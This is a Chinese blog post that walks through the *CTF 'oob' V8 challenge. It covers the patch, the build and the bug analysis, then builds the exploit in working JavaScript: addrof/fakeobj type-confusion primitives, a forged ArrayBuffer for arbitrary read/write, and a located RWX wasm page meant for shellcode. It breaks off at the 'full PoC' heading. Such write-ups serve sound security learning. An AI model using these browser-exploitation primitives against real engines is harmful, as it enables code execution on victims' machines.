V8-pwn入门(2)——[*CTF]oob

Sl0th Lv4

0x00 环境配置🔧

oob.diff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:

编译v8,在v8目录下

1
2
3
4
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598 -f
gclient sync
git apply oob.diff
./tools/dev/gm.py x64.release

如果报错,说明找不到python命令,可以/usr/bin目录下创个软链接(尽量链接到python2,python3后续还会报错)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
  File "/root/depot_tools/gclient.py", line 4653, in main
return dispatcher.execute(OptionParser(), argv)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/depot_tools/subcommand.py", line 254, in execute
return command(parser, args[1:])
^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/depot_tools/gclient.py", line 4006, in CMDsync
ret = client.RunOnDeps('update', args)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/depot_tools/gclient.py", line 2517, in RunOnDeps
self.RunHooksRecursively(self._options, pm)
File "/root/depot_tools/gclient.py", line 1473, in RunHooksRecursively
hook.run()
File "/root/depot_tools/gclient.py", line 256, in run
gclient_utils.CheckCallAndFilter(cmd,
File "/root/depot_tools/gclient_utils.py", line 640, in CheckCallAndFilter
kid = subprocess2.Popen(args,
^^^^^^^^^^^^^^^^^^^^^^^
File "/root/depot_tools/subprocess2.py", line 158, in __init__
raise OSError(
OSError: Execution failed with error: [Errno 2] No such file or directory: 'python'.
Check that /root/v8 or python exist and have execution permission.

解决

1
sudo ln -s $(which python2) /usr/bin/python

如果报错

1
2
3
4
tar (child): xz: Cannot exec: No such file or directory
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error is not recoverable: exiting now

解决

1
sudo apt-get install xz-utils

如果报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  File "/home/fuzz/Fuzzing_v8_75/v8/build/config/linux/pkg-config.py", line 246, in <module>
sys.exit(main())
File "/home/fuzz/Fuzzing_v8_75/v8/build/config/linux/pkg-config.py", line 141, in main
prefix = GetPkgConfigPrefixToStrip(options, args)
File "/home/fuzz/Fuzzing_v8_75/v8/build/config/linux/pkg-config.py", line 80, in GetPkgConfigPrefixToStrip
"--variable=prefix"] + args, env=os.environ)
File "/usr/lib/python2.7/subprocess.py", line 216, in check_output
process = Popen(stdout=PIPE, *popenargs, **kwargs)
File "/usr/lib/python2.7/subprocess.py", line 394, in __init__
errread, errwrite)
File "/usr/lib/python2.7/subprocess.py", line 1047, in _execute_child
raise child_exception
OSError: [Errno 2] No such file or directory

See //build/config/linux/BUILD.gn:89:3: whence it was called.
pkg_config("glib") {
^-------------------
See //build/config/compiler/BUILD.gn:218:18: which caused the file to be included.
configs += [ "//build/config/linux:compiler" ]

解决

1
sudo apt install pkg-config

0x01 patch分析🧐

注册了叫oob的array内置函数,可以通过形如arr.oob()对任意array调用这个oob

1
2
SimpleInstallFunction(isolate_, proto, "oob",
Builtins::kArrayOob,2,false);

具体内置函数实现分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
BUILTIN(ArrayOob){
uint32_t len = args.length();//第一个参数被调用oob方法的arr本身
if(len > 2) return ReadOnlyRoots(isolate).undefined_value();//arr.oob()要不不传参,要么只传一个
Handle<JSReceiver> receiver;//可以粗略理解成预定义⼀个指向JSReceiver的指针receiver,当然Handle实际上不是指针(涉及gc相关概念),先不展开
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, receiver, Object::ToObject(isolate, args.receiver()));//一个宏,对args.receiver()调⽤ToObject函数后保存到receiver⾥,这⾥的args.receiver()实际上就是获取形如arr1.oob()调⽤⾥的arr1本⾝
Handle<JSArray> array = Handle<JSArray>::cast(receiver);
FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());//取出array的elements,cast到一个FixedDoubleArray,说明之后就把这个elements当成double array来解析
uint32_t length = static_cast<uint32_t>(array->length()->Number());
if(len == 1){
//read
return *(isolate->factory()->NewNumber(elements.get_scalar(length)));//*****
//如果函数参数只有⼀个,那么它将读取elements[length]的值,并以⼀个double值返回
//漏洞点,越界读取了一个元素,正常来说应该是elements[length-1]
}else{
//write
Handle<Object> value;//预定义⼀个指向Object的指针value
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));//取出参数args的第⼆个参数(oob的传参),对其调⽤ToNumber函数之后保存到value⾥。
elements.set(length,value->Number());
//elements[length] = value->Number(),向后越界写一个元素
return ReadOnlyRoots(isolate).undefined_value();
}
}

0x02 调试方法🐞

这个patch是用CSA实现的内置函数,最终会转换成汇编,不好打断点调试,因此可以用CSA里面的PrintF来代替printf

  • 对于Handle<Object>(和Object的⼦类),可以直接在上⾯调⽤xxx->Print()来输出内存布局

这里加上

image-20241115180840728
image-20241115180840728

然后重新编译

1
2
ninja -C out/x64.release d8
tools/dev/gm.py x64.debug

看看调试结果,相当于把job xxx的信息打印出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
var a = [1.1];
%DebugPrint(a);
a.oob(1,2);
a.oob();
a.oob(1);
//output
➜ v8 git:(6dc88c191f5) ✗ ./out/x64.release/d8 --allow-natives-syntax poc.js
0x0a5c3bbcdd89 <JSArray[1]>
oob args length is 3
oob args length is 1
0xa5c3bbcdd89: [JSArray]
- map: 0x17a965e82ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x2742413d1111 <JSArray[0]>
- elements: 0x0a5c3bbcdd71 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x1b0aadec0c71 <FixedArray[0]> {
#length: 0x23511b3401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x0a5c3bbcdd71 <FixedDoubleArray[1]> {
0: 1.1
}
oob args length is 2
0xa5c3bbcdd89: [JSArray]
- map: 0x17a965e82ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x2742413d1111 <JSArray[0]>
- elements: 0x0a5c3bbcdd71 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x1b0aadec0c71 <FixedArray[0]> {
#length: 0x23511b3401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x0a5c3bbcdd71 <FixedDoubleArray[1]> {
0: 1.1
}
Smi: 0x1 (1)

0x03 漏洞分析🔍

oob使用

首先写过double_arr和obj_arr,u2d d2u gc hex这些都是工具function,后面会用到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function gc() {
for (let i = 0; i < 0x10; i++) {
new Array(0x100000);
}
}
const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u32 = new Uint32Array(buf);
// Floating point to 64-bit unsigned integer
function d2u(val) {
f64[0] = val;
let tmp = Array.from(u32);
return tmp[1] * 0x100000000 + tmp[0];
}
// 64-bit unsigned integer to Floating point
function u2d(val) {
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
u32.set(tmp);
return f64[0];
}
// 32-bit unsigned integer to hex **string**
function hex(i) {
return "0x" + i.toString(16).padStart(8, "0");
}


let double_arr = [1.1];
let obj_arr = [{}]
double_arr = double_arr.splice(0);//重排清空一下
obj_arr = obj_arr.splice(0);
double_arr.oob(); //越界读了下一个元素,以double值返回

array.splice(0) 表示从数组的第一个元素开始,删除所有元素。它是用于清空数组或截取数组内容的一种简便方法,同时返回被删除的元素集合。

验证一下越界读

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
let double_arr = [1.1];
%DebugPrint(double_arr);
print(hex(d2u(double_arr.oob())));
%SystemBreak();
//output
0x39deae34e609 <JSArray[1]>
0x3d28495c2ed9
pwndbg> job 0x39deae34e609
0x39deae34e609: [JSArray]
- map: 0x3d28495c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x11ebfedd1111 <JSArray[0]>
- elements: 0x39deae34e5f1 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x09dc5a3c0c71 <FixedArray[0]> {
#length: 0x3d62f96401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x39deae34e5f1 <FixedDoubleArray[1]> {
0: 1.1
}
pwndbg> x/20gx 0x39deae34e609-1
0x39deae34e608: 0x00003d28495c2ed9 0x000009dc5a3c0c71
0x39deae34e618: 0x000039deae34e5f1(elements) 0x0000000100000000
0x39deae34e628: 0x000009dc5a3c0561 0x00003d28495c2ed9
0x39deae34e638: 0x000009dc5a3c12c9 0x0000000100000000
0x39deae34e648: 0x0000040000000000 0x00003d28495c2d99
0x39deae34e658: 0x000009dc5a3c0c71 0x000039deae34e671
0x39deae34e668: 0x0000000200000000 0x000009dc5a3c0801
0x39deae34e678: 0x0000000400000000 0x495c2ed900000000
0x39deae34e688: 0x00003d2800000000 0x000009dc5a3c05b1
0x39deae34e698: 0x000009dc5a3c05b1 0x00003d28495c3ab9
pwndbg> x/20gx 0x39deae34e5f1-1
0x39deae34e5f0: 0x000009dc5a3c14f9 0x0000000100000000
0x39deae34e600: 0x3ff199999999999a(1.1) 0x00003d28495c2ed9(map*)
0x39deae34e610: 0x000009dc5a3c0c71 0x000039deae34e5f1
0x39deae34e620: 0x0000000100000000 0x000009dc5a3c0561
0x39deae34e630: 0x00003d28495c2ed9 0x000009dc5a3c12c9
0x39deae34e640: 0x0000000100000000 0x0000040000000000
0x39deae34e650: 0x00003d28495c2d99 0x000009dc5a3c0c71
0x39deae34e660: 0x000039deae34e671 0x0000000200000000
0x39deae34e670: 0x000009dc5a3c0801 0x0000000400000000
0x39deae34e680: 0x495c2ed900000000 0x00003d2800000000

可以发现oob返回的是map*,同时在内存布局中,也是elements元素1.1的后一个

再试试越界写,oob需要传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
let double_arr = [1.1];
%DebugPrint(double_arr);
print(hex(d2u(double_arr.oob(1))));
%SystemBreak();
//output
0x1f2d236ce609 <JSArray[1]>
0x7ff8000000000000
pwndbg> x/20gx 0x1f2d236ce609-1
0x1f2d236ce608: 0x3ff0000000000000(double值的1) 0x00001e25c1480c71
0x1f2d236ce618: 0x00001f2d236ce5f1 0x0000000100000000
0x1f2d236ce628: 0x00001e25c14812c9 0x0000000100000000
0x1f2d236ce638: 0x0000040000000000 0x0000321e94f82d99
0x1f2d236ce648: 0x00001e25c1480c71 0x00001f2d236ce661
0x1f2d236ce658: 0x0000000200000000 0x00001e25c1480801
0x1f2d236ce668: 0x0000000400000000 0x0000000000000000
0x1f2d236ce678: 0x7ff8000000000000 0x00001e25c14805b1
0x1f2d236ce688: 0x00001e25c14805b1 0x0000321e94f83ab9
0x1f2d236ce698: 0x00001e25c1480c71 0x00001e25c1480c71

直接把map*改成了1,也就是说给oob传的参数会向后覆盖一个元素,刚好对应这个map*

🤔这里就有个利用点,可以构造一个double array,然后用oob把它的map* leak出来,后面再构造一个object array,利用oob传参越界写的特性,把object array的map*覆盖成前面leak的double array的map*,实现一个object array –> double array的类型混淆

原语构造

leak任意object的address

1
2
3
4
5
6
7
8
9
function addrof(obj_param) {
let double_arr = [1.1];
let obj_arr = [{}];
double_arr = double_arr.splice(0);
obj_arr = obj_arr.splice(0);
obj_arr[0] = obj_param;
obj_arr.oob(double_arr.oob());//替换map*
return d2u(obj_arr[0]);
}

其实就是利用上面说的trick,把要leak地址的object先存到object array中,然后把object array混淆成double array,这样后面读取elements的时候就会以double array的方式直接返回(这样就是返回address),就不会按原来object array的方式(指针解引用然后…)

也可以反过来伪造任意对象,传入任意地址,存到double array中,把double array混淆成object array,这样再访问刚刚传入的地址,就会被当作HeapObject Pointer来解析

1
2
3
4
5
6
7
8
9
function fakeobj(addr) {
let double_arr = [1.1];
let obj_arr = [{}];
double_arr = double_arr.splice(0);
obj_arr = obj_arr.splice(0);
double_arr[0] = addr;
double_arr.oob(obj_arr.oob());//替换map*
return double_arr[0];
}

之后还需要伪造object对应的内存布局,因此需要了解map*结构

回顾一下map的结构,第二个int值比较重要,代表了type

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// +----+----------+---------------------------------------------+
// | Int | The second int field |
// `---+----------+---------------------------------------------+
// | Short | [instance_type] |🌟🌟🌟
// +----------+---------------------------------------------+
// | Byte | [bit_field] |
// | | - has_non_instance_prototype (bit 0) |
// | | - is_callable (bit 1) |
// | | - has_named_interceptor (bit 2) |
// | | - has_indexed_interceptor (bit 3) |
// | | - is_undetectable (bit 4) |
// | | - is_access_check_needed (bit 5) |
// | | - is_constructor (bit 6) |
// | | - has_prototype_slot (bit 7) |
// +----------+---------------------------------------------+
// | Byte | [bit_field2] |
// | | - is_extensible (bit 0) |
// | | - is_prototype_map (bit 1) |
// | | - is_in_retained_map_list (bit 2) |
// | | - elements_kind (bits 3..7) |
// +----+----------+---------------------------------------------+

可以伪造一个map,然后改instance_type,这样就能伪造任意类型的object了

伪造object例子🌰

之前提到ArrayBuffer可以通过改backing store的大小来实现任意地址读写,因此这里可以尝试伪造一个ArrayBuffer,伪造的话肯定需要map*,这里先看一个正常的ArrayBuffer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
let ab =new ArrayBuffer(0x20);
%DebugPrint(ab);
%SystemBreak();
//output
0x28f3b7c4e899 <ArrayBuffer map = 0xda8501c21b9>
pwndbg> job 0x28f3b7c4e899
0x28f3b7c4e899: [JSArrayBuffer]
- map: 0x0da8501c21b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x20729294e981 <Object map = 0xda8501c2209>
- elements: 0x37f811f00c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x55879d7411e0
- byte_length: 32
- detachable
- properties: 0x37f811f00c71 <FixedArray[0]> {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
pwndbg> x/20gx 0x28f3b7c4e899-1 //看看ArrayBuffer
0x28f3b7c4e898: 0x00000da8501c21b9(map*) 0x000037f811f00c71(properties)
0x28f3b7c4e8a8: 0x000037f811f00c71(elements) 0x0000000000000020(byte_length)
0x28f3b7c4e8b8: 0x000055879d7411e0(BackingStore) 0x0000000000000002(embedder fields)
0x28f3b7c4e8c8: 0x0000000000000000 0x0000000000000000
0x28f3b7c4e8d8: 0x0000000000000000 0x0000000000000000
0x28f3b7c4e8e8: 0x0000000000000000 0x0000000000000000
0x28f3b7c4e8f8: 0x0000000000000000 0x0000000000000000
0x28f3b7c4e908: 0x0000000000000000 0x0000000000000000
0x28f3b7c4e918: 0x0000000000000000 0x0000000000000000
0x28f3b7c4e928: 0x0000000000000000 0x0000000000000000
pwndbg> job 0x0da8501c21b9
0xda8501c21b9: [Map]
- type: JS_ARRAY_BUFFER_TYPE
- instance size: 64
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x37f811f004d1 <undefined>
- prototype_validity cell: 0x2aff905c0609 <Cell value= 1>
- instance descriptors (own) #0: 0x37f811f00259 <DescriptorArray[0]>
- layout descriptor: (nil)
- prototype: 0x20729294e981 <Object map = 0xda8501c2209>
- constructor: 0x20729294e7e9 <JSFunction ArrayBuffer (sfi = 0x2aff905ccff9)>
- dependent code: 0x37f811f002c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
pwndbg> x/20gx 0x0da8501c21b9-1 //看看map
0xda8501c21b8: 0x000037f811f00189(一个指向根MapPoniter) 0x1900042319080808(包含第一个和第二个int)
0xda8501c21c8: 0x00000000082003ff 0x000020729294e981
0xda8501c21d8: 0x000020729294e7e9 0x0000000000000000
0xda8501c21e8: 0x000037f811f00259 0x0000000000000000
0xda8501c21f8: 0x000037f811f002c1 0x00002aff905c0609
0xda8501c2208: 0x000037f811f00189 0x1b0004211d060307
0xda8501c2218: 0x00000000182013ff 0x0000207292942091
0xda8501c2228: 0x00002072929420c9 0x000020729294e9b9
0xda8501c2238: 0x000020729294e9f1 0x0000000000000000
0xda8501c2248: 0x000037f811f002c1 0x00002aff905c0609

之前说过map结构里第二个int值表示type,因此可以直接把0x1900042319080808 copy过来,就可以伪造一个ArrayBuffer的map了,其余结构参考上面job的结果

1
2
3
4
5
6
7
let fake_array_buffer_obj = [
u2d(0), u2d(0), //map*, properties (properties只要不去访问,设置成0也没事)
u2d(0), u2d(0x4000), //elements, length
u2d(0), u2d(2), //backing_store, embedder fields
u2d(0), u2d(0), //padding, padding
u2d(0), u2d(0x1900042319080808), //fake map
];

u2d是前面写的工具function,unsigned int->double

这里可以看到map*的位置写的是0,这个是因为我们还不知道我们构造的fake map的具体地址,现在需要把fake map的address leak出来,然后填到map*的位置

那么怎么leak这个fake map的address呢🤔,由于前面构造原语的章节说过,可以利用类型混淆来leak出任意object的address,因此我们可以在运行poc的时候leak出构造的fake_array_buffer_obj的地址,之后只要加上构造的fake map相对于fake_array_buffer_obj的偏移就可以了。

那么怎么获得这个偏移🤔其实我们构造的fake_array_buffer_obj实质上是一个JSArray,回顾一下之前说的JSArray的结构,后面存储的元素其实是在FixedArray的Elements中,而Elements相对于JSArray头的偏移其实是**固定**的

1
2
3
4
5
6
7
8
9
10
11
12
13
graph TD
A["Pointer (63 bit) | 1"] --> B[JSArray]
B --> C[Map*]
B --> D[Properties*]
B --> E[Elements*]
B --> F[Length]
E --> G[FixedArray]
G --> H[Map*]
G --> I[Length]
G --> J["Elements[0]"]
G --> K["Elements[1]"]
G --> M["...."]

计算fake map偏移

首先看一下构造的fakeobj

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
let fake_array_buffer_obj = [
u2d(0), u2d(0), //map*, properties (properties只要不去访问,设置成0也没事)
u2d(0), u2d(0x4000), //elements, length
u2d(0), u2d(2), //backing_store, embedder fields
u2d(0), u2d(0), //padding, padding
u2d(0), u2d(0x1900042319080808), //fake map
];
%DebugPrint(fake_array_buffer_obj);
%SystemBreak();
//output
0x033dc42cad71 <JSArray[10]>
pwndbg> job 0x033dc42cad71 //看看JSArray
0x33dc42cad71: [JSArray] in OldSpace
- map: 0x357201fc2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x34e472dd1111 <JSArray[0]>
- elements: 0x033dc42cada9 <FixedDoubleArray[10]> [PACKED_DOUBLE_ELEMENTS]
- length: 10
- properties: 0x2c40d2940c71 <FixedArray[0]> {
#length: 0x1aa9ac5c01a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x033dc42cada9 <FixedDoubleArray[10]> {
0-2: 0
3: 8.09477e-320
4: 0
5: 9.88131e-324
6-8: 0
9: 2.87575e-188
}
pwndbg> x/20gx 0x033dc42cada9-1 //看看elements
0x33dc42cada8: 0x00002c40d29414f9(map*) 0x0000000a00000000(length)
0x33dc42cadb8: 0x0000000000000000(Elements[0]) 0x0000000000000000
0x33dc42cadc8: 0x0000000000000000 0x0000000000004000
0x33dc42cadd8: 0x0000000000000000 0x0000000000000002
0x33dc42cade8: 0x0000000000000000 0x0000000000000000
0x33dc42cadf8: 0x0000000000000000 0x1900042319080800(fake map🌟)
0x33dc42cae08: 0x00002c40d2940139 0x000351f800000000
0x33dc42cae18: 0x0000000000000000 0x0000000000000000
0x33dc42cae28: 0x0000000000000000 0x0000000000000000
0x33dc42cae38: 0x0000000000000000 0x0000000000000000
pwndbg> p/x 0x33dc42cadb8-0x33dc42cad70
$2 = 0x48

可以看到Elements相对于JSArray头的偏移是0x48,所以再加上fake map相对于Elements的偏移(4x16=64)就得到了fake map相对于JSArray的偏移\

这样就可以构造一个ArrayBuffer了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
let fake_array_buffer_obj = [
u2d(0), u2d(0), //map*, properties (properties只要不去访问,设置成0也没事)
u2d(0), u2d(0x4000), //elements, length
u2d(0), u2d(2), //backing_store, embedder fields
u2d(0), u2d(0), //padding, padding
u2d(0), u2d(0x1900042319080808), //fake map 这步很关键,如果没改对map。后续利用fakeobj返回的object类型就不会是ArrayBuffer
];
let fake_obj_elements_addr = addrof(fake_array_buffer_obj) + 0x48;
print("fake obj elements addr is:"+hex(fake_obj_elements_addr));
let array_buffer_obj_map_addr = fake_obj_elements_addr + 64;
print("fake array buffer's map addr is:"+hex( array_buffer_obj_map_addr));
fake_array_buffer_obj[0]=u2d(array_buffer_obj_map_addr);//fake map的地址替换
let fake_array_buffer = fakeobj(u2d(fake_obj_elements_addr));//fake obj会利用类型混淆,把传入的地址当作HeapObject Pointer解析
let dv = new DataView(fake_array_buffer); //利用ArrayBuffer创建一个DataView实现任意地址读写

可以把DataVeiw理解成是用来读写传入的ArrayBuffer的backing store中的值的,而我们再构造ArrayBuffer时,把backing store的长度被我们改得很大(0x4000),所以可以实现任意地址读写

wasm写shellcode

web assembly创建的Instance附近有一块权限为rwx的内存,可以写入shellcode,这块内存相对于Instance的偏移也是固定的,现在我们来找一下这个偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0,1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0,65, 42, 11]); //一个简单的main函数
var wasm_mod = new WebAssembly.Module(wasm_code);//创建模块
var wasm_instance = new WebAssembly.Instance(wasm_mod);//实例化
var f = wasm_instance.exports.main;//获得导出函数
%DebugPrint(wasm_instance);
%SystemBreak();
//output
0x17f0cf121831 <Instance map = 0x1ac3290c9789>
pwndbg> job 0x17f0cf121831
0x17f0cf121831: [WasmInstanceObject] in OldSpace
- map: 0x1ac3290c9789 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x19ccc870a379 <Object map = 0x1ac3290cabd9>
- elements: 0x03ea86480c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x148cb2f00d31 <Module map = 0x1ac3290c91e9>
- exports_object: 0x148cb2f00f69 <Object map = 0x1ac3290cad19>
- native_context: 0x17f0cf101869 <NativeContext[246]>
- memory_object: 0x17f0cf121959 <Memory map = 0x1ac3290ca189>
- table 0: 0x148cb2f00f01 <Table map = 0x1ac3290c9aa9>
- imported_function_refs: 0x03ea86480c71 <FixedArray[0]>
- managed_native_allocations: 0x148cb2f00ea9 <Foreign>
- memory_start: 0x7f1504000000
- memory_size: 65536
- memory_mask: ffff
- imported_function_targets: 0x55b83d59f480
- globals_start: (nil)
- imported_mutable_globals: 0x55b83d59eaf0
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x03ea86480c71 <FixedArray[0]> {}
pwndbg> x/80gx 0x17f0cf121831-1
0x17f0cf121830: 0x00001ac3290c9789 0x000003ea86480c71
0x17f0cf121840: 0x000003ea86480c71 0x00007f1504000000
0x17f0cf121850: 0x0000000000010000 0x000000000000ffff
0x17f0cf121860: 0x000055b83d5157f8 0x000003ea86480c71
0x17f0cf121870: 0x000055b83d59f480 0x000003ea864804d1
0x17f0cf121880: 0x0000000000000000 0x0000000000000000
0x17f0cf121890: 0x0000000000000000 0x0000000000000000
0x17f0cf1218a0: 0x000055b83d59eaf0 0x000003ea864804d1
0x17f0cf1218b0: 0x000055b83d50bb30 0x00001436a173c000 🌟
......
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x10eb3a00000 0x10eb4201000 rw-p 801000 0 [anon_10eb3a00]
0x3ea86480000 0x3ea864c0000 r--p 40000 0 [anon_3ea86480]
0xf3b02f00000 0xf3b02f40000 ---p 40000 0 [anon_f3b02f00]
0x1436a173c000 0x1436a173d000 rwxp 1000 0 [anon_1436a173c] 🌟
...
pwndbg> vmmap 0x00001436a173c000
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0xf3b02f00000 0xf3b02f40000 ---p 40000 0 [anon_f3b02f00]
0x1436a173c000 0x1436a173d000 rwxp 1000 0 [anon_1436a173c] +0x0
0x1436a173d000 0x1436e173c000 ---p 3ffff000 0 [anon_1436a173d]
pwndbg> p/x 0x17f0cf1218b8-(0x17f0cf121831-1) //rwx内存相对于Instance的偏移
$3 = 0x88

这样就可以得到偏移是0x88了

接下来就需要利用之前构造的DataView来任意地址读写了,需要实现一些工具function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function get_32(addr) {
fake_ab_obj[4] = u2d(addr);
return dv.getUint32(0, true);
}

function get_64(addr) {
fake_ab_obj[4] = u2d(addr);//把backing store*改成要读取的地址
return d2u(dv.getFloat64(0, true));//getFloat64函数可以获得backing store*(现在已经被替换成任意地址)中的值,第一个参数是偏移,第二个参数是大小端,true表示小端
}

function set_32(addr, value) {
fake_ab_obj[4] = u2d(addr);
return dv.setUint32(0, value, true);
}

function set_64(addr, value) {
fake_ab_obj[4] = u2d(addr);
return dv.setBigUint64(0, value, true);//写入任意地址
}

完整POC

